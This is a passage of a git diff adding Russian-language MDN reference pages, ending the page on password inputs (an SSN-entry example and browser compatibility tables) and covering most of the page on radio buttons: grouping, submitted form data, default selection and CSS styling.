+&lt;input type="password" id="ssn" inputmode="number" minlength="9" maxlength="12"
+    pattern="(?!000)([0-6]\d{2}|7([0-6]\d|7[012]))([ -])?(?!00)\d\d\3(?!0000)\d{4}"
+    required autocomplete="off"&gt;
+&lt;br&gt;
+&lt;label for="ssn"&gt;Value:&lt;/label&gt;
+&lt;span id="current"&gt;&lt;/span&gt;</pre>
+
+<p>Здесь используется {{htmlattrxref("pattern", "input")}} , который ограничивает введенное значение строками, представляющими номера юридической информации Социальной защиты. Очевидно, что это регулярное выражение не гарантирует действительный SSN, но гарантирует, что число может быть единым; он обычно избегает недопустимых значений. Кроме того, он позволяет разделять три группы цифр пробелом, тире ("-") или ничем.</p>
+
+<p>В {{htmlattrxref("inputmode", "input")}} установлено значение <code>"number"</code>, чтобы побудить устройства с виртуальными клавиатурами переключаться на макет цифровой клавиатуры для облегчения ввода. Для атрибутов {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}} установлено значение 9 и 12 соответственно, чтобы требовалось, чтобы значение было не менее девяти и не более 12 символов (первый не разделяет символы между группами цифр и последними с ними). Атрибут {{htmlattrxref("required", "input")}} используется для указания того, что этот элемент управления должен иметь значение. Наконец, {{htmlattrxref("autocomplete", "input")}} установлен <code>"off"</code>, чтобы избежать попыток установить пароли менеджеров паролей.</p>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">var ssn = document.getElementById("ssn");
+var current = document.getElementById("current");
+
+ssn.oninput = function(event) {
+  current.innerHTML = ssn.value;
+}</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample("Requesting_a_Social_Security_number", 600, 60)}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#password-state-(type=password)', '&lt;input type="password"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'forms.html#password-state-(type=password)', '&lt;input type="password"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>accesskey</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>autocomplete</td>
+   <td>17.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>5</td>
+   <td>9.6</td>
+   <td>5.2</td>
+  </tr>
+  <tr>
+   <td>autofocus</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>9.6</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>disabled</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}<sup>[4]</sup></td>
+   <td>6</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>form</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formaction</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>5.2</td>
+  </tr>
+  <tr>
+   <td>formenctype</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formmethod</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>5.2</td>
+  </tr>
+  <tr>
+   <td>formnovalidate</td>
+   <td>5.0<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formtarget</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>5.2</td>
+  </tr>
+  <tr>
+   <td>inputmode</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>maxlength</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>minlength</td>
+   <td>40.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>name</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>pattern</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>9.6</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>placeholder</td>
+   <td>10.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>11.00</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>readonly</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>6<sup>[2] </sup></td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>required</td>
+   <td>5.0<br>
+    10<sup>[3]</sup></td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>9.6</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>size</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Crossed out lock in address bar to indicate insecure login page</td>
+   <td>Implementing something similar</td>
+   <td>{{CompatGeckoDesktop("51")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Message displayed next to password field to indicate insecure login page, plus autofill disabled</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("52")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome mobile</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>accesskey</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>autocomplete</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>autofocus</td>
+   <td>3.2</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>disabled</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>form</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formaction</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>formenctype</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formmethod</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>formnovalidate</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formtarget</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>inputmode</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>maxlength</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>minlength</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>27.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>name</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>pattern</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>placeholder</td>
+   <td>2.3</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11.10</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>required</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>size</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Crossed out lock in address bar to indicate insecure login page</td>
+   <td>Implementing something similar</td>
+   <td>{{CompatGeckoMobile("51")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Message displayed next to password field to indicate insecure login page, plus autofill disabled</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("52")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<p>[1] В версии 6.0 он работал только с типом документа HTML5, поддержка проверки в 7.0 была отключена и повторно включена в 10.0.</p>
+
+<p>[2] Отсутствует для <code>type="checkbox"</code> и <code>type="radio"</code>.</p>
+
+<p>[3] Поддерживается для элемента {{HTMLElement("select")}}.</p>
+
+<p>[4] Firefox, в отличие от других браузеров, по умолчанию <a href="http://stackoverflow.com/q/5985839/432681">pсохраняет состояние динамического отключения и (если применимо) динамическую проверку</a> из <code>&lt;input&gt;</code> для загрузки страницы. Установка значения атрибута {{htmlattrxref("autocomplete","input")}} в <code>off</code> отключает эту функцию; это работает, даже если атрибут {{htmlattrxref("autocomplete","input")}} обычно не применяется к <code>&lt;input&gt;</code> в силу его {{htmlattrxref("type","input")}}. Смотри {{bug(654072)}}.</p>
diff --git a/files/ru/web/html/element/input/radio/index.html b/files/ru/web/html/element/input/radio/index.html
new file mode 100644
index 0000000000..dd2c1e384e
--- /dev/null
+++ b/files/ru/web/html/element/input/radio/index.html
@@ -0,0 +1,377 @@
+---
+title: <input type="radio">
+slug: Web/HTML/Element/Input/radio
+tags:
+  - HTML
+  - Input
+  - Reference
+  - form
+  - radio button
+  - Варианты
+  - Группа радиокнопок
+  - Радиокнопка
+  - Справка
+  - Ссылки
+translation_of: Web/HTML/Element/input/radio
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Атрибут<strong> type</strong> тега <code>&lt;input&gt;</code> со значением <strong><code>radio</code></strong> обычно используется для создания группы радиокнопок (переключателей), описывающих набор взаимосвязанных параметров.</span> Одновременно пользователь может выбрать лишь одну радиокнопку из предложенных. Радиокнопки обычно отображаются как небольшие кружки, которые заполняются или подсвечиваются при наведении.</p>
+
+<div id="Basic_example">
+<pre class="brush: html notranslate">&lt;input type="radio" id="radioButton"&gt;</pre>
+
+<p>{{ EmbedLiveSample('Basic_example', 600, 30) }}</p>
+
+<p>Исходный код к данному интерактивному примеру находиться на GitHub репозитории. Если вы желаете внести свой вклад в проект интерактивных примеров, то склонируйте удаленный репозиторий <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>и отправьте нам запрос на включение сделанных вами изменений «pull request».</p>
+
+<p>Радиокнопки называются так потому, что выглядят и функционируют в схожей манере с кнопками старомодных радиоприёмников, подобных представленному ниже. </p>
+
+<p><img alt="Shows what radio buttons looked like in the olden days." src="https://mdn.mozillademos.org/files/15610/old-radio.jpg" style="height: 400px; width: 600px;" title="Photo of an old-time radio"></p>
+</div>
+
+<div class="note">
+<p><strong>Примечание</strong>: <a href="/en-US/docs/Web/HTML/Element/input/checkbox">Чекбоксы</a> похожи на радиокнопки, но с одним важным отличием: радиокнопки предназначены для выбора одного значения из предложенных, в то время как чекбоксы позволяют "включать" и "выключать"  значения. Если существует несколько элементов управления, то с помощью радиокнопок пользователь сможет выбрать лишь один из них, а чекбоксы позволят выбрать несколько значений одновременно.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>{{domxref("Строка DOM")}} отображающая значение радиокнопки</td>
+  </tr>
+  <tr>
+   <td><strong>События</strong></td>
+   <td>{{event("change")}} и {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Универсальные атрибуты</strong></td>
+   <td>{{htmlattrxref("checked", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Атрибуты IDL</strong></td>
+   <td><code>checked</code> и <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Методы</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибут_value">Атрибут value </h2>
+
+<p>Атрибут <code>value</code> - это {{domxref("строка DOM")}}, содержащая значение радиокнопки. Это значение никогда не показывается пользователю его веб-браузером. Атрибут value используется для того, чтобы точно определить какая из радиокнопок была выбрана пользователем.</p>
+
+<h3 id="Создание_группы_радиокнопок">Создание группы радиокнопок</h3>
+
+<p>Группа радиокнопок определяется путём присвоения каждой радиокнопке в данной группе одного и того же значения атрибута ({{htmlattrxref("name", "input")}}). Выбор любой радиокнопки в этой группе автоматически отменяет выбор другой радиокнопки в той же группе. </p>
+
+<p>Вы можете создать любое количество групп радиокнопок, если каждой из этих групп будет присвоено своё уникальное значение атрибута <code>name</code>.</p>
+
+<p>Например, если в Вашей форме необходимо запросить  предпочитаемый способ контакта с пользователем, то Вы можете создать три радиокнопки с <strong>name= <code>"contact"</code> , </strong>но с разными<strong> value = </strong><code>"email"</code>, <strong>value =</strong><code>"phone"</code> и <strong>value =</strong>  <code>"mail"</code> соответственно. Пользователь не видит атрибуты <code>name</code>  и <code>value</code> (если только Вы не добавляете код для их отображения).</p>
+
+<p>HTML будет выглядеть следующим образом:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;p&gt;Please select your preferred contact method:&lt;/p&gt;
+  &lt;div&gt;
+    &lt;input type="radio" id="contactChoice1"
+     name="contact" value="email"&gt;
+    &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice2"
+     name="contact" value="phone"&gt;
+    &lt;label for="contactChoice2"&gt;Phone&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice3"
+     name="contact" value="mail"&gt;
+    &lt;label for="contactChoice3"&gt;Mail&lt;/label&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button type="submit"&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Здесь Вы видите три радиокнопки, каждая из которых имеет атрибут <code>name</code>  со значением <code>"contact"</code> и уникальный атрибут <code>value</code>, который однозначно идентифицирует эту радиокнопку в данной группе. Каждой радиокнопке присвоен уникальный {{domxref("Element.id", "id")}},  связанный с тегом {{HTMLElement("label")}} через атрибут {{htmlattrxref("for", "label")}}  для установления связи между конкретной меткой и конкретной радиокнопкой. </p>
+
+<p>Вы можете опробовать этот код здесь: </p>
+
+<p>{{ EmbedLiveSample('Defining_a_radio_group', 600, 130) }}</p>
+
+<h3 id="Представление_данных_группы_радиокнопок">Представление данных группы радиокнопок</h3>
+
+<p>Когда представленная выше форма отправляется на сервер с информацией о выбранной радиокнопке,  то её данные  включают запись в виде <strong>"contact=name".</strong> Например, если пользователь кликает на радиокнопку "Phone", а затем отправляет форму на сервер, данные формы будут включать в себя строку <code>"contact=phone"</code>.</p>
+
+<p>Если Вы пренебрежёте атрибутом <code>value</code> в  Вашем HTML, то отправленные данные просто присвоят данной группе значение <code>"on"</code>.  То есть, если пользователь кликнет на радиокнопку "Phone" и отправит форму, итоговые данные отобразятся как  <code>"contact=on"</code> и будут абсолютно бесполезны. Поэтому никогда не забывайте указывать атрибут <code>value</code>!</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Если в отправленной форме не была выбрана ни одна радиокнопка, то группа радиокнопок вообще не будет включать в себя никакие данные, так как отсутствуют значения для отправки.</p>
+</div>
+
+<p>Поскольку отправлять пустую форму в большинстве случаев не имеет никакого смысла, то разумно оставлять одну радиокнопку активированной по умолчанию с помощью атрибута <code>"checked"</code>. Смотрите здесь {{anch("Selecting a radio button by default")}}.</p>
+
+<p>Давайте добавим немного кода в наш пример для того, чтобы изучить данные, полученные из этой формы. HTML изменяется путём добавления блока {{HTMLElement("pre")}} для вывода данных формы. </p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;p&gt;Please select your preferred contact method:&lt;/p&gt;
+  &lt;div&gt;
+    &lt;input type="radio" id="contactChoice1"
+           name="contact" value="email"&gt;
+    &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+    &lt;input type="radio" id="contactChoice2"
+           name="contact" value="phone"&gt;
+    &lt;label for="contactChoice2"&gt;Phone&lt;/label&gt;
+    &lt;input type="radio" id="contactChoice3"
+           name="contact" value="mail"&gt;
+    &lt;label for="contactChoice3"&gt;Mail&lt;/label&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button type="submit"&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;
+&lt;pre id="log"&gt;
+&lt;/pre&gt;
+</pre>
+
+<p>Затем добавим немного <a href="/en-US/docs/Web/JavaScript">JavaScript</a>. Установим слушателя для события {{event("submit")}}, которая будет отправляться при клике пользователя на кнопку "Отправить":</p>
+
+<pre class="brush: js notranslate">var form = document.querySelector("form");
+var log = document.querySelector("#log");
+
+form.addEventListener("submit", function(event) {
+  var data = new FormData(form);
+  var output = "";
+  for (const entry of data) {
+    output = entry[0] + "=" + entry[1] + "\r";
+  };
+  log.innerText = output;
+  event.preventDefault();
+}, false);</pre>
+
+<p>Опробуйте этот пример и убедитесь, что для группы радиокнопок  <code>"contact"</code>  будет только один результат.</p>
+
+<p>{{EmbedLiveSample("Data_representation_of_a_radio_group", 600, 130)}}</p>
+
+<h2 id="Использование_радиокнопок">Использование радиокнопок</h2>
+
+<p>Мы уже осветили основные моменты работы с радиокнопками выше. Давайте рассмотрим другие распространенные  функции и методы, связанные с использованием радиокнопок, о которых Вам нужно знать.</p>
+
+<h3 id="Выбор_радиокнопки_по_умолчанию">Выбор радиокнопки по умолчанию</h3>
+
+<p>Чтобы установить радиокнопку как выбранную по умолчанию, Вам необходимо подключить атрибут <code>checked</code>, как показано ниже в немного изменённой версии предыдущего примера.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;p&gt;Please select your preferred contact method:&lt;/p&gt;
+  &lt;div&gt;
+    &lt;input type="radio" id="contactChoice1"
+     name="contact" value="email" checked&gt;
+    &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice2"
+     name="contact" value="phone"&gt;
+    &lt;label for="contactChoice2"&gt;Phone&lt;/label&gt;
+
+    &lt;input type="radio" id="contactChoice3"
+     name="contact" value="mail"&gt;
+    &lt;label for="contactChoice3"&gt;Mail&lt;/label&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button type="submit"&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('Selecting_a_radio_button_by_default', 600, 130) }}</p>
+
+<p>В данном случае первая радиокнопка будет выбрана по умолчанию.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Если Вы устанавливаете атрибут <code>checked</code> более чем на одну кнопку, то стоит иметь в виду, что каждый последующий атрибут <code>checked</code> отменяет предыдущий, то  есть как отмеченная будет выбрана последняя радиокнопка с атрибутом <code>checked</code>. Это происходит потому, что в каждой группе радиокнопок одновременно может быть выбрана только одна кнопка, и браузер автоматически отменяет другие выбранные до этого радиокнопки.</p>
+</div>
+
+<h3 id="Providing_a_bigger_hit_area_for_your_radio_buttons">Providing a bigger hit area for your radio buttons</h3>
+
+<p>В примерах, представленных выше, Вы могли заметить, что можно выбрать радиокнопку, кликнув как на соединённый с ней элемент  {{htmlelement("label")}}, так и на саму кнопку. Это действительно полезная функция HTML-форм, которая облегчает пользователям выбор нужной опции, особенно на устройствах с небольшим экраном, таких как смартфоны.  Помимо специальных возможностей, это другая веская причина для правильного использования элементов  <code>&lt;label&gt;</code>  в Ваших формах.</p>
+
+<h2 id="Валидация_формы">Валидация формы</h2>
+
+<p>Радиокнопки не участвуют в проверке ограничений, так как у них нет реальных значений для ограничения.</p>
+
+<h2 id="Установка_стилей_радиокнопок">Установка стилей радиокнопок</h2>
+
+<p>Следующий пример отображает немного более проработанную версию примера, который мы использовали на протяжении всей статьи,  с некоторыми дополнительными стилями и с лучшей семантикой, установленной с помощью специализированных элементов.</p>
+
+<p>HTML будет выглядеть следующим образом:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Please select your preferred contact method:&lt;/legend&gt;
+    &lt;div&gt;
+      &lt;input type="radio" id="contactChoice1"
+       name="contact" value="email" checked&gt;
+      &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+
+      &lt;input type="radio" id="contactChoice2"
+       name="contact" value="phone"&gt;
+      &lt;label for="contactChoice2"&gt;Phone&lt;/label&gt;
+
+      &lt;input type="radio" id="contactChoice3"
+       name="contact" value="mail"&gt;
+      &lt;label for="contactChoice3"&gt;Mail&lt;/label&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;button type="submit"&gt;Submit&lt;/button&gt;
+    &lt;/div&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>Здесь не так много нового, кроме дополнения в виде элементов {{htmlelement("fieldset")}} и {{htmlelement("legend")}}, которые позволяют сгруппировать элементы форм между собой функционально и семантически.</p>
+
+<p>CSS будет выглядеть так:</p>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+div:first-of-type {
+  display: flex;
+  align-items: flex-start;
+  margin-bottom: 5px;
+}
+
+label {
+  margin-right: 15px;
+  line-height: 32px;
+}
+
+input {
+  -webkit-appearance: none;
+  -moz-appearance: none;
+  appearance: none;
+
+  border-radius: 50%;
+  width: 16px;
+  height: 16px;
+
+  border: 2px solid #999;
+  transition: 0.2s all linear;
+  outline: none;
+  margin-right: 5px;
+
+  position: relative;
+  top: 4px;
+}
+
+input:checked {
+  border: 6px solid black;
+}
+
+button,
+legend {
+  color: white;
+  background-color: black;
+  padding: 5px 10px;
+  border-radius: 0;
+  border: 0;
+  font-size: 14px;
+}
+
+button:hover,
+button:focus {
+  color: #999;
+}
+
+button:active {
+  background-color: white;
+  color: black;
+  outline: 1px solid black;
+}</pre>
+
+<p>Самым примечательным здесь является использование свойства {{cssxref("appearance")}} с использованием префиксов некоторых браузеров. По умолчанию радиокнопки (и чекбоксы) уже имеют собственные стили в каждой операционной системе. Придав свойству <code>appearance</code> значение <code>none</code>, Вы можете отменить все "родные" настройки стилей операционной системы и создать свои собственные. Здесь мы использовали свойства {{cssxref("border")}} и  {{cssxref("border-radius")}}, а также свойство {{cssxref("transition")}} для создания хорошо анимированного выбора радиокнопок. Заметьте также, что псевдокласс {{cssxref(":checked")}} используется для указания стилей внешнего вида кнопок при их выборе.</p>
+
+<p>Стоит иметь в виду, что свойство  <code>appearance</code> неплохо работает для создания простых стилей, но имеет тенденцию вести себя несколько непоследовательно в некоторых браузерах и полностью не работает в Internet Explorer. Тщательно проверяйте как работает Ваш сайт в каждом браузере! </p>
+
+<p>{{ EmbedLiveSample('Styling_radio_inputs', 600, 120) }}</p>
+
+<p>Обратите внимание, что при клике на радиокнопку, на предыдущей выбранной кнопке появляется мягкий эффект угасания. Кроме того, стиль и окраска легенды и кнопки "Submit" имеет сильный контраст с остальным текстом. Возможно, это не совсем тот эффект, который Вы хотели бы видеть в своём реальном веб-приложении, но этот пример хорошо отображает возможности CSS.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th></th>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#radio-button-state-(type=radio)', '&lt;input type="radio"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#radio-button-state-(type=radio)', '&lt;input type="radio"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
